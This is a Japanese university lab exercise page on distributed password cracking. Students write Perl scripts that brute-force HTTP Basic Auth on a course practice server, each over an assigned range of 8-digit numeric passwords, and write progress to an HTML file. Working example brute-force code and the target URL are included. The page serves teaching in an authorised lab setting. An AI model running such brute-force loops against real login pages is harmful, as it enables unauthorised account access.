Distributed password crack
分散パスワード攻撃実習

例と攻撃対象

まず,ブラウザで上記の例のためのページにアクセスし, 指定のユーザ名とパスワードを入力せよ.

攻撃対象のページは ID だけが明らかにされている. 正しいパスワードが入力されると例のためのページと 同様のページが表示されるが, secret word: 以下には例のためのページとは異なる文字列が書かている.

例のためのページに perl プログラムでアクセスするには 以下のプログラム 7.1 のように LWP::UserAgent を使えば良い. プログラム 7.1 を実行し,動作原理を理解せよ.

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;

my $uri = 'http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/example/index.html';

my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $uri);
$req->authorization_basic('user1', '12345678');
my $response = $ua->request($req);

if ($response->is_success){ 
    print $response->content;
} else {
    print "Password is not correct.\n";
}

プログラム 7.1

プログラム 7.1 を参考に攻撃対象のページを自分に割り当てられた範囲の パスワードで総当たり攻撃するプログラムを作れ.

攻撃結果出力の仕様

各PCで動作させるプログラムは pi の近似値を求めるプログラムと同様に 途中経過を特定の html ファイルに書き出す方式で作成せよ. ファイル名は attack.html とし,pi の時と同様に自分の public_html 直下に書き出せ.

attack.html の仕様は以下の通りとする,

パスワードが解析できていない状態

プログラムがパスワード解析に成功していない状態では 定期的に(間隔は自分で決める)以下の形式の ソースコードを書き出すようにする.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=euc-jp">
<title>output file</title>
</head>
<body>
<h1>attack</h1>
<dl>
<dt>status:</dt>
<dd>No</dd>
<dt>from:</dt>
<dd>(解析済みのパスワード範囲の下限)</dd>
<dt>to:</dt>
<dd>(解析済みのパスワード範囲の上限)</dd>
</dl>
<hr>
</body>
</html>

パスワードは 8 桁の整数である.管理担当者から 各自に解析すべきパスワードの上限と下限が与えられる. 各自は担当範囲の下限の値からパスワードを全数探索で 探索する. パスワード解析に成功していない状態では定期的に 上記ファイルを上書きする.例えばパスワードの値 10000000 から全数探索を行い,11000000 まで全数探索 を行い,解析に成功していないなら上記の (解析済みのパスワード範囲の下限), (解析済みのパスワード範囲の上限) の部分は以下のようになる.

<dt>from:</dt>
<dd>10000000</dd>
<dt>to:</dt>
<dd>11000000</dd>

パスワード解析に成功したら以下の内容を同じ ファイルに上書きして終了する.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=euc-jp">
<title>output file</title>
</head>
<body>
<h1>attack</h1>
<dl>
<dt>status:</dt>
<dd>Yes</dd>
<dt>password:</dt>
<dd>(アクセスに成功したパスワード)</dd>
<dt>secret word:</dt>
<dd>(表示された秘密の文字列)</dd>
</dl>
<hr>
</body>
</html>

各学生が解析を担当する範囲は以下の通りとする. (パスワードの 1 文字目は 1 です)

出力のフォーマットを無視して端末に書き出すプログラムを作成すると 以下のようになる.以下のプログラム 7.2 は http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/example/index.html にユーザ名 user1, パスワードは 12345670 から 12345679 を順に 試してアクセスするものである.実行してみよ.

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;

my $uri = 'http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/example/index.html';
my $uname = 'user1';

my $pw;
my $pw8;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $uri);
for ($pw = 12345670; $pw <= 12345679 ; $pw++){
    $pw8 = sprintf "%08d", $pw;
    $req->authorization_basic($uname, $pw8);
    my $response = $ua->request($req);
    if ($response->is_success){ 
	print $response->content;
    } else {
	print "Password is not correct.\n";
    }
}

プログラム 7.2

このプログラムの対象 URI とユーザ名を

my $uri = 'http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/secret/index.html';
my $uname = 'yamamotolab';

に変え,パスワードのループの範囲を自分の担当範囲に変更し, 出力をファイル attack.html に指定のフォーマットで書き出すように 変更すればよい.


Updated in December 5, 2013, index, Yamamoto Hiroshi